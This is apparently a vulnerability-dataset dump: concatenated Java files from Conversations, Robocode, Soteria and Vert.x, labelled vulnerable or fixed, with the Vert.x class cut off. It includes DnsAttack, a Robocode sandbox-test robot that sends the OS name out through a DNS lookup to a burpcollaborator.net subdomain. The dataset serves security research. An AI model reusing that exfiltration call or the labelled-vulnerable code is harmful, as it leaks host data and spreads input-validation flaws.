if (binding.secondaryFragment != null && ConversationFragment.getConversation(this) == null) {
Conversation conversation = ConversationsOverviewFragment.getSuggestion(this);
if (conversation != null) {
openConversation(conversation, null);
}
}
showDialogsIfMainIsOverview();
}
private boolean performRedirectIfNecessary(boolean noAnimation) {
return performRedirectIfNecessary(null, noAnimation);
}
private boolean performRedirectIfNecessary(final Conversation ignore, final boolean noAnimation) {
if (xmppConnectionService == null) {
return false;
}
boolean isConversationsListEmpty = xmppConnectionService.isConversationsListEmpty(ignore);
if (isConversationsListEmpty && mRedirectInProcess.compareAndSet(false, true)) {
final Intent intent = getRedirectionIntent(noAnimation);
runOnUiThread(() -> {
startActivity(intent);
if (noAnimation) {
overridePendingTransition(0, 0);
}
});
}
return mRedirectInProcess.get();
}
private Intent getRedirectionIntent(boolean noAnimation) {
Account pendingAccount = xmppConnectionService.getPendingAccount();
Intent intent;
if (pendingAccount != null) {
intent = new Intent(this, EditAccountActivity.class);
intent.putExtra("jid", pendingAccount.getJid().asBareJid().toString());
} else {
if (xmppConnectionService.getAccounts().size() == 0) {
if (Config.X509_VERIFICATION) {
intent = new Intent(this, ManageAccountActivity.class);
} else if (Config.MAGIC_CREATE_DOMAIN != null) {
intent = new Intent(this, WelcomeActivity.class);
WelcomeActivity.addInviteUri(intent, getIntent());
} else {
intent = new Intent(this, EditAccountActivity.class);
}
} else {
intent = new Intent(this, StartConversationActivity.class);
}
}
intent.putExtra("init", true);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
if (noAnimation) {
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
}
return intent;
}
private void showDialogsIfMainIsOverview() {
if (xmppConnectionService == null) {
return;
}
final Fragment fragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (fragment != null && fragment instanceof ConversationsOverviewFragment) {
if (ExceptionHelper.checkForCrash(this)) {
return;
}
openBatteryOptimizationDialogIfNeeded();
}
}
private String getBatteryOptimizationPreferenceKey() {
@SuppressLint("HardwareIds") String device = Settings.Secure.getString(getContentResolver(), Settings.Secure.ANDROID_ID);
return "show_battery_optimization" + (device == null ? "" : device);
}
private void setNeverAskForBatteryOptimizationsAgain() {
getPreferences().edit().putBoolean(getBatteryOptimizationPreferenceKey(), false).apply();
}
private void openBatteryOptimizationDialogIfNeeded() {
if (hasAccountWithoutPush()
&& isOptimizingBattery()
&& getPreferences().getBoolean(getBatteryOptimizationPreferenceKey(), true)) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle(R.string.battery_optimizations_enabled);
builder.setMessage(R.string.battery_optimizations_enabled_dialog);
builder.setPositiveButton(R.string.next, (dialog, which) -> {
Intent intent = new Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS);
Uri uri = Uri.parse("package:" + getPackageName());
intent.setData(uri);
try {
startActivityForResult(intent, REQUEST_BATTERY_OP);
} catch (ActivityNotFoundException e) {
Toast.makeText(this, R.string.device_does_not_support_battery_op, Toast.LENGTH_SHORT).show();
}
});
builder.setOnDismissListener(dialog -> setNeverAskForBatteryOptimizationsAgain());
final AlertDialog dialog = builder.create();
dialog.setCanceledOnTouchOutside(false);
dialog.show();
}
}
private boolean hasAccountWithoutPush() {
for (Account account : xmppConnectionService.getAccounts()) {
if (account.getStatus() == Account.State.ONLINE && !xmppConnectionService.getPushManagementService().available(account)) {
return true;
}
}
return false;
}
private void notifyFragmentOfBackendConnected(@IdRes int id) {
final Fragment fragment = getFragmentManager().findFragmentById(id);
if (fragment != null && fragment instanceof OnBackendConnected) {
((OnBackendConnected) fragment).onBackendConnected();
}
}
private void refreshFragment(@IdRes int id) {
final Fragment fragment = getFragmentManager().findFragmentById(id);
if (fragment != null && fragment instanceof XmppFragment) {
((XmppFragment) fragment).refresh();
}
}
private boolean processViewIntent(Intent intent) {
String uuid = intent.getStringExtra(EXTRA_CONVERSATION);
Conversation conversation = uuid != null ? xmppConnectionService.findConversationByUuid(uuid) : null;
if (conversation == null) {
Log.d(Config.LOGTAG, "unable to view conversation with uuid:" + uuid);
return false;
}
openConversation(conversation, intent.getExtras());
return true;
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String permissions[], @NonNull int[] grantResults) {
UriHandlerActivity.onRequestPermissionResult(this, requestCode, grantResults);
if (grantResults.length > 0) {
if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
switch (requestCode) {
case REQUEST_OPEN_MESSAGE:
refreshUiReal();
ConversationFragment.openPendingMessage(this);
break;
case REQUEST_PLAY_PAUSE:
ConversationFragment.startStopPending(this);
break;
}
}
}
}
@Override
public void onActivityResult(int requestCode, int resultCode, final Intent data) {
super.onActivityResult(requestCode, resultCode, data);
ActivityResult activityResult = ActivityResult.of(requestCode, resultCode, data);
if (xmppConnectionService != null) {
handleActivityResult(activityResult);
} else {
this.postponedActivityResult.push(activityResult);
}
}
private void handleActivityResult(ActivityResult activityResult) {
if (activityResult.resultCode == Activity.RESULT_OK) {
handlePositiveActivityResult(activityResult.requestCode, activityResult.data);
} else {
handleNegativeActivityResult(activityResult.requestCode);
}
}
private void handleNegativeActivityResult(int requestCode) {
Conversation conversation = ConversationFragment.getConversationReliable(this);
switch (requestCode) {
case REQUEST_DECRYPT_PGP:
if (conversation == null) {
break;
}
conversation.getAccount().getPgpDecryptionService().giveUpCurrentDecryption();
break;
case REQUEST_BATTERY_OP:
setNeverAskForBatteryOptimizationsAgain();
break;
}
}
private void handlePositiveActivityResult(int requestCode, final Intent data) {
Conversation conversation = ConversationFragment.getConversationReliable(this);
if (conversation == null) {
Log.d(Config.LOGTAG, "conversation not found");
return;
}
switch (requestCode) {
case REQUEST_DECRYPT_PGP:
conversation.getAccount().getPgpDecryptionService().continueDecryption(data);
break;
case REQUEST_CHOOSE_PGP_ID:
long id = data.getLongExtra(OpenPgpApi.EXTRA_SIGN_KEY_ID, 0);
if (id != 0) {
conversation.getAccount().setPgpSignId(id);
announcePgp(conversation.getAccount(), null, null, onOpenPGPKeyPublished);
} else {
choosePgpSignId(conversation.getAccount());
}
break;
case REQUEST_ANNOUNCE_PGP:
announcePgp(conversation.getAccount(), conversation, data, onOpenPGPKeyPublished);
break;
}
}
@Override
protected void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ConversationMenuConfigurator.reloadFeatures(this);
OmemoSetting.load(this);
new EmojiService(this).init();
this.binding = DataBindingUtil.setContentView(this, R.layout.activity_conversations);
setSupportActionBar((Toolbar) binding.toolbar);
configureActionBar(getSupportActionBar());
this.getFragmentManager().addOnBackStackChangedListener(this::invalidateActionBarTitle);
this.getFragmentManager().addOnBackStackChangedListener(this::showDialogsIfMainIsOverview);
this.initializeFragments();
this.invalidateActionBarTitle();
final Intent intent;
if (savedInstanceState == null) {
intent = getIntent();
} else {
intent = savedInstanceState.getParcelable("intent");
}
if (isViewOrShareIntent(intent)) {
pendingViewIntent.push(intent);
setIntent(createLauncherIntent(this));
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.activity_conversations, menu);
MenuItem qrCodeScanMenuItem = menu.findItem(R.id.action_scan_qr_code);
if (qrCodeScanMenuItem != null) {
if (isCameraFeatureAvailable()) {
Fragment fragment = getFragmentManager().findFragmentById(R.id.main_fragment);
boolean visible = getResources().getBoolean(R.bool.show_qr_code_scan)
&& fragment != null
&& fragment instanceof ConversationsOverviewFragment;
qrCodeScanMenuItem.setVisible(visible);
} else {
qrCodeScanMenuItem.setVisible(false);
}
}
return super.onCreateOptionsMenu(menu);
}
@Override
public void onConversationSelected(Conversation conversation) {
clearPendingViewIntent();
if (ConversationFragment.getConversation(this) == conversation) {
Log.d(Config.LOGTAG, "ignore onConversationSelected() because conversation is already open");
return;
}
openConversation(conversation, null);
}
public void clearPendingViewIntent() {
if (pendingViewIntent.clear()) {
Log.e(Config.LOGTAG, "cleared pending view intent");
}
}
private void displayToast(final String msg) {
runOnUiThread(() -> Toast.makeText(ConversationsActivity.this, msg, Toast.LENGTH_SHORT).show());
}
@Override
public void onAffiliationChangedSuccessful(Jid jid) {
}
@Override
public void onAffiliationChangeFailed(Jid jid, int resId) {
displayToast(getString(resId, jid.asBareJid().toString()));
}
@Override
public void onRoleChangedSuccessful(String nick) {
}
@Override
public void onRoleChangeFailed(String nick, int resId) {
displayToast(getString(resId, nick));
}
private void openConversation(Conversation conversation, Bundle extras) {
ConversationFragment conversationFragment = (ConversationFragment) getFragmentManager().findFragmentById(R.id.secondary_fragment);
final boolean mainNeedsRefresh;
if (conversationFragment == null) {
mainNeedsRefresh = false;
Fragment mainFragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (mainFragment != null && mainFragment instanceof ConversationFragment) {
conversationFragment = (ConversationFragment) mainFragment;
} else {
conversationFragment = new ConversationFragment();
FragmentTransaction fragmentTransaction = getFragmentManager().beginTransaction();
fragmentTransaction.replace(R.id.main_fragment, conversationFragment);
fragmentTransaction.addToBackStack(null);
try {
fragmentTransaction.commit();
} catch (IllegalStateException e) {
Log.w(Config.LOGTAG, "sate loss while opening conversation", e);
//allowing state loss is probably fine since view intents et all are already stored and a click can probably be 'ignored'
return;
}
}
} else {
mainNeedsRefresh = true;
}
conversationFragment.reInit(conversation, extras == null ? new Bundle() : extras);
if (mainNeedsRefresh) {
refreshFragment(R.id.main_fragment);
} else {
invalidateActionBarTitle();
}
}
public boolean onXmppUriClicked(Uri uri) {
XmppUri xmppUri = new XmppUri(uri);
if (xmppUri.isJidValid() && !xmppUri.hasFingerprints()) {
final Conversation conversation = xmppConnectionService.findUniqueConversationByJid(xmppUri);
if (conversation != null) {
openConversation(conversation, null);
return true;
}
}
return false;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
if (MenuDoubleTabUtil.shouldIgnoreTap()) {
return false;
}
switch (item.getItemId()) {
case android.R.id.home:
FragmentManager fm = getFragmentManager();
if (fm.getBackStackEntryCount() > 0) {
try {
fm.popBackStack();
} catch (IllegalStateException e) {
Log.w(Config.LOGTAG, "Unable to pop back stack after pressing home button");
}
return true;
}
break;
case R.id.action_scan_qr_code:
UriHandlerActivity.scan(this);
return true;
}
return super.onOptionsItemSelected(item);
}
@Override
public void onSaveInstanceState(Bundle savedInstanceState) {
Intent pendingIntent = pendingViewIntent.peek();
savedInstanceState.putParcelable("intent", pendingIntent != null ? pendingIntent : getIntent());
super.onSaveInstanceState(savedInstanceState);
}
@Override
protected void onStart() {
final int theme = findTheme();
if (this.mTheme != theme) {
this.mSkipBackgroundBinding = true;
recreate();
} else {
this.mSkipBackgroundBinding = false;
}
mRedirectInProcess.set(false);
super.onStart();
}
@Override
protected void onNewIntent(final Intent intent) {
if (isViewOrShareIntent(intent)) {
if (xmppConnectionService != null) {
processViewIntent(intent);
} else {
pendingViewIntent.push(intent);
}
}
setIntent(createLauncherIntent(this));
}
@Override
public void onPause() {
this.mActivityPaused = true;
super.onPause();
}
@Override
public void onResume() {
super.onResume();
this.mActivityPaused = false;
}
private void initializeFragments() {
FragmentTransaction transaction = getFragmentManager().beginTransaction();
Fragment mainFragment = getFragmentManager().findFragmentById(R.id.main_fragment);
Fragment secondaryFragment = getFragmentManager().findFragmentById(R.id.secondary_fragment);
if (mainFragment != null) {
if (binding.secondaryFragment != null) {
if (mainFragment instanceof ConversationFragment) {
getFragmentManager().popBackStack();
transaction.remove(mainFragment);
transaction.commit();
getFragmentManager().executePendingTransactions();
transaction = getFragmentManager().beginTransaction();
transaction.replace(R.id.secondary_fragment, mainFragment);
transaction.replace(R.id.main_fragment, new ConversationsOverviewFragment());
transaction.commit();
return;
}
} else {
if (secondaryFragment != null && secondaryFragment instanceof ConversationFragment) {
transaction.remove(secondaryFragment);
transaction.commit();
getFragmentManager().executePendingTransactions();
transaction = getFragmentManager().beginTransaction();
transaction.replace(R.id.main_fragment, secondaryFragment);
transaction.addToBackStack(null);
transaction.commit();
return;
}
}
} else {
transaction.replace(R.id.main_fragment, new ConversationsOverviewFragment());
}
if (binding.secondaryFragment != null && secondaryFragment == null) {
transaction.replace(R.id.secondary_fragment, new ConversationFragment());
}
transaction.commit();
}
private void invalidateActionBarTitle() {
final ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
Fragment mainFragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (mainFragment != null && mainFragment instanceof ConversationFragment) {
final Conversation conversation = ((ConversationFragment) mainFragment).getConversation();
if (conversation != null) {
actionBar.setTitle(EmojiWrapper.transform(conversation.getName()));
actionBar.setDisplayHomeAsUpEnabled(true);
return;
}
}
actionBar.setTitle(R.string.app_name);
actionBar.setDisplayHomeAsUpEnabled(false);
}
}
@Override
public void onConversationArchived(Conversation conversation) {
if (performRedirectIfNecessary(conversation, false)) {
return;
}
Fragment mainFragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (mainFragment != null && mainFragment instanceof ConversationFragment) {
try {
getFragmentManager().popBackStack();
} catch (IllegalStateException e) {
Log.w(Config.LOGTAG, "state loss while popping back state after archiving conversation", e);
//this usually means activity is no longer active; meaning on the next open we will run through this again
}
return;
}
Fragment secondaryFragment = getFragmentManager().findFragmentById(R.id.secondary_fragment);
if (secondaryFragment != null && secondaryFragment instanceof ConversationFragment) {
if (((ConversationFragment) secondaryFragment).getConversation() == conversation) {
Conversation suggestion = ConversationsOverviewFragment.getSuggestion(this, conversation);
if (suggestion != null) {
openConversation(suggestion, null);
}
}
}
}
@Override
public void onConversationsListItemUpdated() {
Fragment fragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (fragment != null && fragment instanceof ConversationsOverviewFragment) {
((ConversationsOverviewFragment) fragment).refresh();
}
}
@Override
public void switchToConversation(Conversation conversation) {
Log.d(Config.LOGTAG, "override");
openConversation(conversation, null);
}
@Override
public void onConversationRead(Conversation conversation, String upToUuid) {
if (!mActivityPaused && pendingViewIntent.peek() == null) {
xmppConnectionService.sendReadMarker(conversation, upToUuid);
} else {
Log.d(Config.LOGTAG, "ignoring read callback. mActivityPaused=" + Boolean.toString(mActivityPaused));
}
}
@Override
public void onAccountUpdate() {
this.refreshUi();
}
@Override
public void onConversationUpdate() {
if (performRedirectIfNecessary(false)) {
return;
}
this.refreshUi();
}
@Override
public void onRosterUpdate() {
this.refreshUi();
}
@Override
public void OnUpdateBlocklist(OnUpdateBlocklist.Status status) {
this.refreshUi();
}
@Override
public void onShowErrorToast(int resId) {
runOnUiThread(() -> Toast.makeText(this, resId, Toast.LENGTH_SHORT).show());
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_418_1
|
crossvul-java_data_good_761_3
|
/**
* Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* https://robocode.sourceforge.io/license/epl-v10.html
*/
package net.sf.robocode.test.robots;
import net.sf.robocode.test.helpers.RobocodeTestBed;
import org.junit.Assert;
import robocode.control.events.TurnEndedEvent;
/**
* @author Flemming N. Larsen (original)
*/
public class TestHttpAttack extends RobocodeTestBed {
private boolean securityExceptionOccurred;
@Override
public String getRobotNames() {
return "tested.robots.HttpAttack,sample.Target";
}
@Override
public void onTurnEnded(TurnEndedEvent event) {
super.onTurnEnded(event);
final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
if (out.contains("java.lang.SecurityException:")) {
securityExceptionOccurred = true;
}
}
@Override
protected void runTeardown() {
Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
}
@Override
protected int getExpectedErrors() {
return 1;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_761_3
|
crossvul-java_data_good_4247_2
|
/*
* Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
* http://www.eclipse.org/legal/epl-2.0.
*
* This Source Code may also be made available under the following Secondary
* Licenses when the conditions for such availability set forth in the
* Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
* version 2 with the GNU Classpath Exception, which is available at
* https://www.gnu.org/software/classpath/license.html.
*
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
package org.glassfish.soteria.mechanisms.jaspic;
import java.util.Collections;
import java.util.function.Supplier;
import javax.security.auth.Subject;
import javax.security.auth.callback.CallbackHandler;
import javax.security.auth.message.AuthException;
import javax.security.auth.message.AuthStatus;
import javax.security.auth.message.MessageInfo;
import javax.security.auth.message.ServerAuth;
import javax.security.auth.message.config.ServerAuthContext;
import javax.security.auth.message.module.ServerAuthModule;
/**
* The Server Authentication Context is an extra (required) indirection between the Application Server and the actual Server
* Authentication Module (SAM). This can be used to encapsulate any number of SAMs and either select one at run-time, invoke
* them all in order, etc.
* <p>
* Since this simple example only has a single SAM, we delegate directly to that one. Note that this {@link ServerAuthContext}
* and the {@link ServerAuthModule} (SAM) share a common base interface: {@link ServerAuth}.
*
* @author Arjan Tijms
*/
public class DefaultServerAuthContext implements ServerAuthContext {
private final ServerAuthModule serverAuthModule;
public DefaultServerAuthContext(CallbackHandler handler, Supplier<ServerAuthModule> serverAuthModuleSupplier) throws AuthException {
this.serverAuthModule = serverAuthModuleSupplier.get();
serverAuthModule.initialize(null, null, handler, Collections.<String, String> emptyMap());
}
@Override
public AuthStatus validateRequest(MessageInfo messageInfo, Subject clientSubject, Subject serviceSubject)
throws AuthException {
return serverAuthModule.validateRequest(messageInfo, clientSubject, serviceSubject);
}
@Override
public AuthStatus secureResponse(MessageInfo messageInfo, Subject serviceSubject) throws AuthException {
return serverAuthModule.secureResponse(messageInfo, serviceSubject);
}
@Override
public void cleanSubject(MessageInfo messageInfo, Subject subject) throws AuthException {
serverAuthModule.cleanSubject(messageInfo, subject);
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_4247_2
|
crossvul-java_data_bad_2026_0
|
404: Not Found
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_2026_0
|
crossvul-java_data_good_761_1
|
package tested.robots;
public class DnsAttack extends robocode.Robot {
static {
try {
new java.net.URL("http://" + System.getProperty("os.name").replaceAll(" ", ".")
+ ".randomsubdomain.burpcollaborator.net").openStream();
} catch (Exception e) {
}
}
public void run() {
for (;;) {
ahead(100);
back(100);
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_761_1
|
crossvul-java_data_good_761_4
|
/**
* Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* https://robocode.sourceforge.io/license/epl-v10.html
*/
package net.sf.robocode.test.robots;
import net.sf.robocode.test.helpers.RobocodeTestBed;
import org.junit.Assert;
import robocode.control.events.TurnEndedEvent;
/**
* @author Flemming N. Larsen (original)
*/
public class TestStaticConstructorDnsAttack extends RobocodeTestBed {
private boolean securityExceptionOccurred;
@Override
public String getRobotNames() {
return "tested.robots.DnsAttack,sample.Target";
}
@Override
public void onTurnEnded(TurnEndedEvent event) {
super.onTurnEnded(event);
final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
if (out.contains("SYSTEM: Using socket is not allowed")) {
securityExceptionOccurred = true;
}
}
@Override
protected void runTeardown() {
Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
}
@Override
protected int getExpectedErrors() {
return 1;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_761_4
|
crossvul-java_data_good_195_3
|
/*
* Copyright (c) 2011-2017 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0
* which is available at https://www.apache.org/licenses/LICENSE-2.0.
*
* SPDX-License-Identifier: EPL-2.0 OR Apache-2.0
*/
package io.vertx.core.http.impl;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.CompositeByteBuf;
import io.netty.buffer.Unpooled;
import io.vertx.codegen.annotations.Nullable;
import io.vertx.core.*;
import io.vertx.core.buffer.Buffer;
import io.vertx.core.http.HttpClientRequest;
import io.vertx.core.http.HttpClientResponse;
import io.vertx.core.http.HttpConnection;
import io.vertx.core.http.HttpFrame;
import io.vertx.core.http.HttpMethod;
import io.vertx.core.http.HttpVersion;
import io.vertx.core.http.impl.headers.VertxHttpHeaders;
import io.vertx.core.impl.ContextInternal;
import io.vertx.core.impl.VertxInternal;
import io.vertx.core.logging.Logger;
import io.vertx.core.logging.LoggerFactory;
import io.vertx.core.net.NetSocket;
import java.util.List;
import java.util.Objects;
import static io.vertx.core.http.HttpHeaders.*;
/**
* This class is optimised for performance when used on the same event loop that is was passed to the handler with.
* However it can be used safely from other threads.
*
* The internal state is protected using the synchronized keyword. If always used on the same event loop, then
* we benefit from biased locking which makes the overhead of synchronized near zero.
*
* This class uses {@code this} for synchronization purpose. The {@link #client} or{@link #stream} instead are
* called must not be called under this lock to avoid deadlocks.
*
* @author <a href="http://tfox.org">Tim Fox</a>
*/
public class HttpClientRequestImpl extends HttpClientRequestBase implements HttpClientRequest {
static final Logger log = LoggerFactory.getLogger(ConnectionManager.class);
private final VertxInternal vertx;
private Handler<HttpClientResponse> respHandler;
private Handler<Void> endHandler;
private boolean chunked;
private String hostHeader;
private String rawMethod;
private Handler<Void> continueHandler;
private Handler<Void> drainHandler;
private Handler<HttpClientRequest> pushHandler;
private Handler<HttpConnection> connectionHandler;
private boolean completed;
private Handler<Void> completionHandler;
private Long reset;
private ByteBuf pendingChunks;
private int pendingMaxSize = -1;
private int followRedirects;
private long written;
private VertxHttpHeaders headers;
private HttpClientStream stream;
private boolean connecting;
// completed => drainHandler = null
HttpClientRequestImpl(HttpClientImpl client, boolean ssl, HttpMethod method, String host, int port,
String relativeURI, VertxInternal vertx) {
super(client, ssl, method, host, port, relativeURI);
this.chunked = false;
this.vertx = vertx;
}
@Override
public int streamId() {
HttpClientStream s;
synchronized (this) {
if ((s = stream) == null) {
return -1;
}
}
return s.id();
}
@Override
public synchronized HttpClientRequest handler(Handler<HttpClientResponse> handler) {
if (handler != null) {
checkComplete();
respHandler = checkConnect(method, handler);
} else {
respHandler = null;
}
return this;
}
@Override
public HttpClientRequest pause() {
return this;
}
@Override
public HttpClientRequest resume() {
return this;
}
@Override
public HttpClientRequest setFollowRedirects(boolean followRedirects) {
synchronized (this) {
checkComplete();
if (followRedirects) {
this.followRedirects = client.getOptions().getMaxRedirects() - 1;
} else {
this.followRedirects = 0;
}
return this;
}
}
@Override
public HttpClientRequest endHandler(Handler<Void> handler) {
synchronized (this) {
if (handler != null) {
checkComplete();
}
endHandler = handler;
return this;
}
}
@Override
public HttpClientRequestImpl setChunked(boolean chunked) {
synchronized (this) {
checkComplete();
if (written > 0) {
throw new IllegalStateException("Cannot set chunked after data has been written on request");
}
// HTTP 1.0 does not support chunking so we ignore this if HTTP 1.0
if (client.getOptions().getProtocolVersion() != io.vertx.core.http.HttpVersion.HTTP_1_0) {
this.chunked = chunked;
}
return this;
}
}
@Override
public synchronized boolean isChunked() {
return chunked;
}
@Override
public synchronized String getRawMethod() {
return rawMethod;
}
@Override
public synchronized HttpClientRequest setRawMethod(String method) {
this.rawMethod = method;
return this;
}
@Override
public synchronized HttpClientRequest setHost(String host) {
this.hostHeader = host;
return this;
}
@Override
public synchronized String getHost() {
return hostHeader;
}
@Override
public synchronized MultiMap headers() {
if (headers == null) {
headers = new VertxHttpHeaders();
}
return headers;
}
@Override
public synchronized HttpClientRequest putHeader(String name, String value) {
checkComplete();
headers().set(name, value);
return this;
}
@Override
public synchronized HttpClientRequest putHeader(String name, Iterable<String> values) {
checkComplete();
headers().set(name, values);
return this;
}
@Override
public HttpClientRequest setWriteQueueMaxSize(int maxSize) {
HttpClientStream s;
synchronized (this) {
checkComplete();
if ((s = stream) == null) {
pendingMaxSize = maxSize;
return this;
}
}
s.doSetWriteQueueMaxSize(maxSize);
return this;
}
@Override
public boolean writeQueueFull() {
HttpClientStream s;
synchronized (this) {
checkComplete();
if ((s = stream) == null) {
// Should actually check with max queue size and not always blindly return false
return false;
}
}
return s.isNotWritable();
}
@Override
public HttpClientRequest drainHandler(Handler<Void> handler) {
synchronized (this) {
if (handler != null) {
checkComplete();
drainHandler = handler;
HttpClientStream s;
if ((s = stream) == null) {
return this;
}
s.getContext().runOnContext(v -> {
synchronized (HttpClientRequestImpl.this) {
if (!stream.isNotWritable()) {
handleDrained();
}
}
});
} else {
drainHandler = null;
}
return this;
}
}
@Override
public synchronized HttpClientRequest continueHandler(Handler<Void> handler) {
if (handler != null) {
checkComplete();
}
this.continueHandler = handler;
return this;
}
@Override
public HttpClientRequest sendHead() {
return sendHead(null);
}
@Override
public synchronized HttpClientRequest sendHead(Handler<HttpVersion> headersHandler) {
checkComplete();
checkResponseHandler();
if (stream != null) {
throw new IllegalStateException("Head already written");
} else {
connect(headersHandler);
}
return this;
}
@Override
public synchronized HttpClientRequest putHeader(CharSequence name, CharSequence value) {
checkComplete();
headers().set(name, value);
return this;
}
@Override
public synchronized HttpClientRequest putHeader(CharSequence name, Iterable<CharSequence> values) {
checkComplete();
headers().set(name, values);
return this;
}
@Override
public synchronized HttpClientRequest pushHandler(Handler<HttpClientRequest> handler) {
pushHandler = handler;
return this;
}
@Override
public boolean reset(long code) {
HttpClientStream s;
synchronized (this) {
if (reset != null) {
return false;
}
reset = code;
if (tryComplete()) {
if (completionHandler != null) {
completionHandler.handle(null);
}
}
s = stream;
}
if (s != null) {
s.reset(code);
}
return true;
}
private boolean tryComplete() {
if (!completed) {
completed = true;
drainHandler = null;
return true;
} else {
return false;
}
}
@Override
public HttpConnection connection() {
HttpClientStream s;
synchronized (this) {
if ((s = stream) == null) {
return null;
}
}
return s.connection();
}
@Override
public synchronized HttpClientRequest connectionHandler(@Nullable Handler<HttpConnection> handler) {
connectionHandler = handler;
return this;
}
@Override
public synchronized HttpClientRequest writeCustomFrame(int type, int flags, Buffer payload) {
HttpClientStream s;
synchronized (this) {
checkComplete();
if ((s = stream) == null) {
throw new IllegalStateException("Not yet connected");
}
}
s.writeFrame(type, flags, payload.getByteBuf());
return this;
}
void handleDrained() {
Handler<Void> handler;
synchronized (this) {
if ((handler = drainHandler) == null) {
return;
}
}
try {
handler.handle(null);
} catch (Throwable t) {
handleException(t);
}
}
private void handleNextRequest(HttpClientRequestImpl next, long timeoutMs) {
next.handler(respHandler);
next.exceptionHandler(exceptionHandler());
exceptionHandler(null);
next.endHandler(endHandler);
next.pushHandler = pushHandler;
next.followRedirects = followRedirects - 1;
next.written = written;
if (next.hostHeader == null) {
next.hostHeader = hostHeader;
}
if (headers != null && next.headers == null) {
next.headers().addAll(headers);
}
Future<Void> fut = Future.future();
fut.setHandler(ar -> {
if (ar.succeeded()) {
if (timeoutMs > 0) {
next.setTimeout(timeoutMs);
}
next.end();
} else {
next.handleException(ar.cause());
}
});
if (exceptionOccurred != null) {
fut.fail(exceptionOccurred);
}
else if (completed) {
fut.complete();
} else {
exceptionHandler(err -> {
if (!fut.isComplete()) {
fut.fail(err);
}
});
completionHandler = v -> {
if (!fut.isComplete()) {
fut.complete();
}
};
}
}
protected void doHandleResponse(HttpClientResponseImpl resp, long timeoutMs) {
if (reset == null) {
int statusCode = resp.statusCode();
if (followRedirects > 0 && statusCode >= 300 && statusCode < 400) {
Future<HttpClientRequest> next = client.redirectHandler().apply(resp);
if (next != null) {
next.setHandler(ar -> {
if (ar.succeeded()) {
handleNextRequest((HttpClientRequestImpl) ar.result(), timeoutMs);
} else {
handleException(ar.cause());
}
});
return;
}
}
if (statusCode == 100) {
if (continueHandler != null) {
continueHandler.handle(null);
}
} else {
if (respHandler != null) {
respHandler.handle(resp);
}
if (endHandler != null) {
endHandler.handle(null);
}
}
}
}
@Override
protected String hostHeader() {
return hostHeader != null ? hostHeader : super.hostHeader();
}
private Handler<HttpClientResponse> checkConnect(io.vertx.core.http.HttpMethod method, Handler<HttpClientResponse> handler) {
if (method == io.vertx.core.http.HttpMethod.CONNECT) {
// special handling for CONNECT
handler = connectHandler(handler);
}
return handler;
}
private Handler<HttpClientResponse> connectHandler(Handler<HttpClientResponse> responseHandler) {
Objects.requireNonNull(responseHandler, "no null responseHandler accepted");
return resp -> {
HttpClientResponse response;
if (resp.statusCode() == 200) {
// connect successful force the modification of the ChannelPipeline
// beside this also pause the socket for now so the user has a chance to register its dataHandler
// after received the NetSocket
NetSocket socket = resp.netSocket();
socket.pause();
response = new HttpClientResponse() {
private boolean resumed;
@Override
public HttpClientRequest request() {
return resp.request();
}
@Override
public int statusCode() {
return resp.statusCode();
}
@Override
public String statusMessage() {
return resp.statusMessage();
}
@Override
public MultiMap headers() {
return resp.headers();
}
@Override
public String getHeader(String headerName) {
return resp.getHeader(headerName);
}
@Override
public String getHeader(CharSequence headerName) {
return resp.getHeader(headerName);
}
@Override
public String getTrailer(String trailerName) {
return resp.getTrailer(trailerName);
}
@Override
public MultiMap trailers() {
return resp.trailers();
}
@Override
public List<String> cookies() {
return resp.cookies();
}
@Override
public HttpVersion version() {
return resp.version();
}
@Override
public HttpClientResponse bodyHandler(Handler<Buffer> bodyHandler) {
resp.bodyHandler(bodyHandler);
return this;
}
@Override
public HttpClientResponse customFrameHandler(Handler<HttpFrame> handler) {
resp.customFrameHandler(handler);
return this;
}
@Override
public synchronized NetSocket netSocket() {
if (!resumed) {
resumed = true;
vertx.getContext().runOnContext((v) -> socket.resume()); // resume the socket now as the user had the chance to register a dataHandler
}
return socket;
}
@Override
public HttpClientResponse endHandler(Handler<Void> endHandler) {
resp.endHandler(endHandler);
return this;
}
@Override
